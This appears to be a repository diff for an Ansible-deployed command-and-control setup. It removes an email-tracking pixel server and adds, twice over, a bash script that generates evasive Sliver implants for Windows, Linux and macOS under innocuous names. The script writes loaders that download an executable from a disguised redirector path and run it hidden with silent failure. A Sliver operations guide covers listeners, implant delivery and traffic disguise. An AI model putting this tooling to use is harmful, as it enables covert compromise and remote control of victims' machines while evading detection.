<td>{{ event.referer }}</td>
|
|
||||||
</tr>
|
|
||||||
{% endfor %}
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
"""
|
|
||||||
|
|
||||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
app.run(host='127.0.0.1', port=5000, debug=False)
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
server {
|
|
||||||
listen 80;
|
|
||||||
listen [::]:80;
|
|
||||||
server_name {{ tracker_domain }};
|
|
||||||
|
|
||||||
# Redirect to HTTPS if SSL is enabled
|
|
||||||
return 301 https://$host$request_uri;
|
|
||||||
}
|
|
||||||
|
|
||||||
server {
|
|
||||||
listen 443 ssl;
|
|
||||||
listen [::]:443 ssl;
|
|
||||||
server_name {{ tracker_domain }};
|
|
||||||
|
|
||||||
# SSL Configuration
|
|
||||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
|
||||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
|
||||||
|
|
||||||
# Restrict dashboard to localhost only
|
|
||||||
location / {
|
|
||||||
allow 127.0.0.1;
|
|
||||||
deny all;
|
|
||||||
proxy_pass http://127.0.0.1:5000;
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Allow public access only to pixel endpoints
|
|
||||||
location ~ ^/pixel/(.+)\.png$ {
|
|
||||||
# Public access allowed
|
|
||||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
|
|
||||||
# Cache control - don't cache tracking pixels
|
|
||||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
|
||||||
expires off;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Security headers
|
|
||||||
add_header X-Content-Type-Options "nosniff" always;
|
|
||||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
|
||||||
add_header X-XSS-Protection "1; mode=block" always;
|
|
||||||
add_header Referrer-Policy "no-referrer" always;
|
|
||||||
}
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# CLI tool to view email tracking stats
|
|
||||||
|
|
||||||
DATA_FILE="/opt/tracker/data/tracking_data.json"
|
|
||||||
|
|
||||||
function show_summary() {
|
|
||||||
if [ ! -f "$DATA_FILE" ]; then
|
|
||||||
echo "No tracking data found."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Email Tracking Summary:"
|
|
||||||
echo "======================="
|
|
||||||
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
|
|
||||||
}
|
|
||||||
|
|
||||||
function show_details() {
|
|
||||||
ID=$1
|
|
||||||
if [ ! -f "$DATA_FILE" ]; then
|
|
||||||
echo "No tracking data found."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Details for tracking ID: $ID"
|
|
||||||
echo "=========================="
|
|
||||||
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
|
|
||||||
}
|
|
||||||
|
|
||||||
case "$1" in
|
|
||||||
"list")
|
|
||||||
show_summary
|
|
||||||
;;
|
|
||||||
"details")
|
|
||||||
if [ -z "$2" ]; then
|
|
||||||
echo "Usage: $0 details TRACKING_ID"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
show_details "$2"
|
|
||||||
;;
|
|
||||||
*)
|
|
||||||
echo "Usage: $0 [list|details TRACKING_ID]"
|
|
||||||
echo " list - Show summary of all tracking IDs"
|
|
||||||
echo " details ID - Show details for specific tracking ID"
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
[Unit]
|
|
||||||
Description=Email Tracking Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
User=tracker
|
|
||||||
Group=tracker
|
|
||||||
WorkingDirectory=/opt/tracker
|
|
||||||
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Security settings
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectSystem=full
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
@@ -0,0 +1,155 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||||
|
|
||||||
|
# Configuration (automatically populated by Ansible)
|
||||||
|
BEACONS_DIR="/opt/beacons"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||||
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
|
||||||
|
# Ensure required directories exist
|
||||||
|
mkdir -p $BEACONS_DIR/staged
|
||||||
|
mkdir -p $BEACONS_DIR/shellcode
|
||||||
|
|
||||||
|
# Generate unique random values for each execution
|
||||||
|
random_string() {
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create a new Sliver profile with redirector-compatible paths
|
||||||
|
create_profile() {
|
||||||
|
local type=$1
|
||||||
|
local profile_name="profile-${type}-$(random_string 8)"
|
||||||
|
|
||||||
|
# Use paths that match the redirector NGINX configuration
|
||||||
|
local http_path1="/ajax/$(random_string 8)"
|
||||||
|
local http_path2="/static/js/$(random_string 6).js"
|
||||||
|
|
||||||
|
local interval=$(( 30 + RANDOM % 120 ))
|
||||||
|
local jitter=$(( 10 + RANDOM % 35 ))
|
||||||
|
|
||||||
|
# Use sliver-client to create a new profile
|
||||||
|
echo "[+] Creating profile: $profile_name"
|
||||||
|
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
||||||
|
|
||||||
|
echo $profile_name
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate implant using existing profile
|
||||||
|
generate_implant() {
|
||||||
|
local profile_name=$1
|
||||||
|
local os_type=$2
|
||||||
|
local arch=$3
|
||||||
|
local format=$4
|
||||||
|
local output_name=$5
|
||||||
|
|
||||||
|
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
||||||
|
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random output filename generator
|
||||||
|
random_output_name() {
|
||||||
|
local type=$1
|
||||||
|
local names=(
|
||||||
|
"update" "service" "client" "agent" "app" "system"
|
||||||
|
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||||
|
)
|
||||||
|
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||||
|
|
||||||
|
case "$type" in
|
||||||
|
windows) echo "${name}.exe" ;;
|
||||||
|
windows_dll) echo "${name}.dll" ;;
|
||||||
|
linux) echo "${name}" ;;
|
||||||
|
darwin) echo "${name}" ;;
|
||||||
|
*) echo "${name}" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
||||||
|
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 host: $C2_HOST"
|
||||||
|
|
||||||
|
# Windows EXE
|
||||||
|
win_profile=$(create_profile "windows")
|
||||||
|
win_output=$(random_output_name "windows")
|
||||||
|
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
||||||
|
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||||
|
|
||||||
|
# Windows DLL
|
||||||
|
dll_profile=$(create_profile "windows_dll")
|
||||||
|
dll_output=$(random_output_name "windows_dll")
|
||||||
|
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
||||||
|
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||||
|
|
||||||
|
# Linux binary
|
||||||
|
linux_profile=$(create_profile "linux")
|
||||||
|
linux_output=$(random_output_name "linux")
|
||||||
|
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
||||||
|
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||||
|
|
||||||
|
# macOS binary
|
||||||
|
mac_profile=$(create_profile "darwin")
|
||||||
|
mac_output=$(random_output_name "darwin")
|
||||||
|
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
||||||
|
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||||
|
|
||||||
|
# Generate stagers
|
||||||
|
stager_profile=$(create_profile "stager")
|
||||||
|
stager_win=$(random_output_name "windows")
|
||||||
|
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||||
|
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||||
|
|
||||||
|
# Create loader scripts with redirector integration
|
||||||
|
echo "#!/bin/bash
|
||||||
|
# Loader script for Linux beacon
|
||||||
|
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
||||||
|
chmod +x /tmp/linux_update
|
||||||
|
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
|
||||||
|
# Create PowerShell stager with improved OPSEC
|
||||||
|
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||||
|
# Windows PowerShell Beacon Loader
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
\$ErrorActionPreference = "SilentlyContinue"
|
||||||
|
\$wc = New-Object System.Net.WebClient
|
||||||
|
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||||
|
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||||
|
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
||||||
|
try {
|
||||||
|
\$wc.DownloadFile(\$url, \$outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create index of generated files
|
||||||
|
echo "[+] Creating reference file with beacon details"
|
||||||
|
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||||
|
C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
|
||||||
|
Beacons Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output (Profile: $win_profile)
|
||||||
|
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||||
|
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||||
|
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||||
|
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||||
|
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||||
|
3. Test connectivity before deployment in target environment
|
||||||
|
|
||||||
|
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Cleanup temporary files
|
||||||
|
rm -rf $TEMP_DIR
|
||||||
|
echo "[+] Beacon generation with redirector integration complete"
|
||||||
@@ -0,0 +1,155 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||||
|
|
||||||
|
# Configuration (automatically populated by Ansible)
|
||||||
|
BEACONS_DIR="/opt/beacons"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||||
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
|
||||||
|
# Ensure required directories exist
|
||||||
|
mkdir -p $BEACONS_DIR/staged
|
||||||
|
mkdir -p $BEACONS_DIR/shellcode
|
||||||
|
|
||||||
|
# Generate unique random values for each execution
|
||||||
|
random_string() {
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create a new Sliver profile with redirector-compatible paths
|
||||||
|
create_profile() {
|
||||||
|
local type=$1
|
||||||
|
local profile_name="profile-${type}-$(random_string 8)"
|
||||||
|
|
||||||
|
# Use paths that match the redirector NGINX configuration
|
||||||
|
local http_path1="/ajax/$(random_string 8)"
|
||||||
|
local http_path2="/static/js/$(random_string 6).js"
|
||||||
|
|
||||||
|
local interval=$(( 30 + RANDOM % 120 ))
|
||||||
|
local jitter=$(( 10 + RANDOM % 35 ))
|
||||||
|
|
||||||
|
# Use sliver-client to create a new profile
|
||||||
|
echo "[+] Creating profile: $profile_name"
|
||||||
|
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
||||||
|
|
||||||
|
echo $profile_name
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate implant using existing profile
|
||||||
|
generate_implant() {
|
||||||
|
local profile_name=$1
|
||||||
|
local os_type=$2
|
||||||
|
local arch=$3
|
||||||
|
local format=$4
|
||||||
|
local output_name=$5
|
||||||
|
|
||||||
|
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
||||||
|
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random output filename generator
|
||||||
|
random_output_name() {
|
||||||
|
local type=$1
|
||||||
|
local names=(
|
||||||
|
"update" "service" "client" "agent" "app" "system"
|
||||||
|
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||||
|
)
|
||||||
|
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||||
|
|
||||||
|
case "$type" in
|
||||||
|
windows) echo "${name}.exe" ;;
|
||||||
|
windows_dll) echo "${name}.dll" ;;
|
||||||
|
linux) echo "${name}" ;;
|
||||||
|
darwin) echo "${name}" ;;
|
||||||
|
*) echo "${name}" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
||||||
|
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 host: $C2_HOST"
|
||||||
|
|
||||||
|
# Windows EXE
|
||||||
|
win_profile=$(create_profile "windows")
|
||||||
|
win_output=$(random_output_name "windows")
|
||||||
|
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
||||||
|
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||||
|
|
||||||
|
# Windows DLL
|
||||||
|
dll_profile=$(create_profile "windows_dll")
|
||||||
|
dll_output=$(random_output_name "windows_dll")
|
||||||
|
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
||||||
|
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||||
|
|
||||||
|
# Linux binary
|
||||||
|
linux_profile=$(create_profile "linux")
|
||||||
|
linux_output=$(random_output_name "linux")
|
||||||
|
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
||||||
|
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||||
|
|
||||||
|
# macOS binary
|
||||||
|
mac_profile=$(create_profile "darwin")
|
||||||
|
mac_output=$(random_output_name "darwin")
|
||||||
|
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
||||||
|
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||||
|
|
||||||
|
# Generate stagers
|
||||||
|
stager_profile=$(create_profile "stager")
|
||||||
|
stager_win=$(random_output_name "windows")
|
||||||
|
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||||
|
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||||
|
|
||||||
|
# Create loader scripts with redirector integration
|
||||||
|
echo "#!/bin/bash
|
||||||
|
# Loader script for Linux beacon
|
||||||
|
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
||||||
|
chmod +x /tmp/linux_update
|
||||||
|
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
|
||||||
|
# Create PowerShell stager with improved OPSEC
|
||||||
|
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||||
|
# Windows PowerShell Beacon Loader
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
\$ErrorActionPreference = "SilentlyContinue"
|
||||||
|
\$wc = New-Object System.Net.WebClient
|
||||||
|
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||||
|
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||||
|
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
||||||
|
try {
|
||||||
|
\$wc.DownloadFile(\$url, \$outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create index of generated files
|
||||||
|
echo "[+] Creating reference file with beacon details"
|
||||||
|
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||||
|
C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
|
||||||
|
Beacons Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output (Profile: $win_profile)
|
||||||
|
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||||
|
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||||
|
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||||
|
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||||
|
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||||
|
3. Test connectivity before deployment in target environment
|
||||||
|
|
||||||
|
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Cleanup temporary files
|
||||||
|
rm -rf $TEMP_DIR
|
||||||
|
echo "[+] Beacon generation with redirector integration complete"
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
# File: templates/sliver-guide.j2
|
||||||
|
# Sliver C2 Framework Usage Guide
|
||||||
|
|
||||||
|
SLIVER C2 OPERATIONS GUIDE
|
||||||
|
==========================
|
||||||
|
|
||||||
|
This guide provides information on using the randomized Sliver C2 server deployed on
|
||||||
|
your infrastructure.
|
||||||
|
|
||||||
|
SERVER INFORMATION
|
||||||
|
-----------------
|
||||||
|
C2 Server IP: {{ c2_ip }}
|
||||||
|
Redirector Domain: {{ redirector_domain }}
|
||||||
|
Operator Config: /root/admin.cfg
|
||||||
|
|
||||||
|
CONNECTING TO THE SERVER
|
||||||
|
-----------------------
|
||||||
|
1. From your operator system, import the operator config:
|
||||||
|
$ sliver import /path/to/admin.cfg
|
||||||
|
|
||||||
|
2. Connect to the server:
|
||||||
|
$ sliver
|
||||||
|
[*] Loaded 1 operator profiles
|
||||||
|
sliver > use admin
|
||||||
|
[*] Set active profile admin ({{ c2_ip }}:31337)
|
||||||
|
sliver > connect
|
||||||
|
[*] Connected to {{ c2_ip }}:31337 (admin)
|
||||||
|
|
||||||
|
USING THE SERVER
|
||||||
|
---------------
|
||||||
|
Once connected to the server, you can:
|
||||||
|
|
||||||
|
1. List generated implants:
|
||||||
|
sliver > implants
|
||||||
|
|
||||||
|
2. Start a listener for HTTP connections:
|
||||||
|
sliver > http -d {{ redirector_domain }} -L 0.0.0.0 -p 8888
|
||||||
|
|
||||||
|
3. Start a multiplayer session:
|
||||||
|
sliver > mtls -L 0.0.0.0 -p 31337
|
||||||
|
|
||||||
|
IMPLANT RESOURCES
|
||||||
|
----------------
|
||||||
|
Pre-generated implants are available in:
|
||||||
|
- /opt/beacons/
|
||||||
|
|
||||||
|
These implants are already configured to connect through the redirector at
|
||||||
|
{{ redirector_domain }}.
|
||||||
|
|
||||||
|
To serve these implants for download:
|
||||||
|
- A Python HTTP server is running on {{ c2_ip }}:8443
|
||||||
|
- Implants can be delivered through the redirector at {{ redirector_domain }}/downloads/
|
||||||
|
|
||||||
|
TIPS FOR OPSEC
|
||||||
|
-------------
|
||||||
|
- All connections go through the redirector
|
||||||
|
- Beacon intervals are randomized (30-150 seconds)
|
||||||
|
- Traffic is disguised as legitimate web requests using common paths
|
||||||
|
- Use HTTPS for all communications
|
||||||
|
|
||||||
|
To regenerate beacons with different properties:
|
||||||
|
$ /opt/c2/generate_evasive_beacons.sh
|
||||||
|
|
||||||
|
TROUBLESHOOTING
|
||||||
|
--------------
|
||||||
|
1. If implants can't connect:
|
||||||
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||||
|
- Check NGINX configuration on the redirector
|
||||||
|
- Ensure ports 8888 and 443 are open on respective servers
|
||||||
|
|
||||||
|
2. If Sliver server isn't responding:
|
||||||
|
- Check service status: systemctl status sliver
|
||||||
|
- View logs: journalctl -u sliver
|
||||||
@@ -6,7 +6,7 @@ After=network.target
|
|||||||
Type=simple
|
Type=simple
|
||||||
User=root
|
User=root
|
||||||
Group=root
|
Group=root
|
||||||
WorkingDirectory=/root/.sliver
|
WorkingDirectory=/root/.sliver-server
|
||||||
ExecStart=/usr/local/bin/sliver-server daemon
|
ExecStart=/usr/local/bin/sliver-server daemon
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=10
|
RestartSec=10
|
||||||
|
|||||||
Reference in New Issue
Block a user